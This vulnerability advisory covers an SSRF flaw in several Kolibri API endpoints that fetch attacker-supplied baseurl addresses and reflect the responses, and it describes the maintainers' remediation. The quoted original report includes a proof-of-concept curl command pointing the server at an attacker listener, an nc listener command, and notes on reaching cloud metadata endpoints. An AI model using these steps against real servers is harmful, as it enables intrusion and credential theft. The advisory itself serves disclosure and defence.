
PEACH
Un framework di isolamento del tenant
Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.
Reported:
GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.
Found during remediation:POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.Two compounding issues:
Response(response.json()), Response(facility_info["users"]), etc.).baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.GET vector (RemoteFacilityUserViewset):
The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.
POST vector (RemoteFacilityUserAuthenticatedViewset):
get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.
The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:
GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).GET with JSON and no special request headers./metadata/v1.json) — reachableMetadata-Flavor / Metadata / token headers that the attacker could not inject)The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.
Four layers of defence:
RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.
<details><summary>Original report by @beraoudabdelkhalek</summary>
The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.
This is mainly due to the following issues:
1. Missing authentication on the API endpoint
File: kolibri/core/auth/api.py, line ~1553
class RemoteFacilityUserViewset(views.APIView): # No permission_classes → AllowAny
def get(self, request):
baseurl = request.query_params.get("baseurl", "")
validator(baseurl) # Only checks URL format (http/https scheme + valid hostname)
client = NetworkClient.build_for_address(baseurl)
response = client.get(url, params={"facility": facility, "search": username})No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.
Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.
2. Weak URL validation
File: kolibri/utils/urls.py, line 1-7
from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:
Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.
Against a local Docker deployment (validated against Kolibri 0.19.3):
# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"The Kolibri server makes an outbound HTTP request to the attacker's listener:
GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-aliveTesters have also confirmed the issue against live deployments of Kolibri.
Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check </details>
Fonte: NVD
Valutazione gratuita delle vulnerabilità
Valuta le tue pratiche di sicurezza cloud in 9 domini di sicurezza per confrontare il tuo livello di rischio e identificare le lacune nelle tue difese.
Richiedi una demo personalizzata
"La migliore esperienza utente che abbia mai visto offre piena visibilità ai carichi di lavoro cloud."
"Wiz fornisce un unico pannello di controllo per vedere cosa sta succedendo nei nostri ambienti cloud."
"Sappiamo che se Wiz identifica qualcosa come critico, in realtà lo è."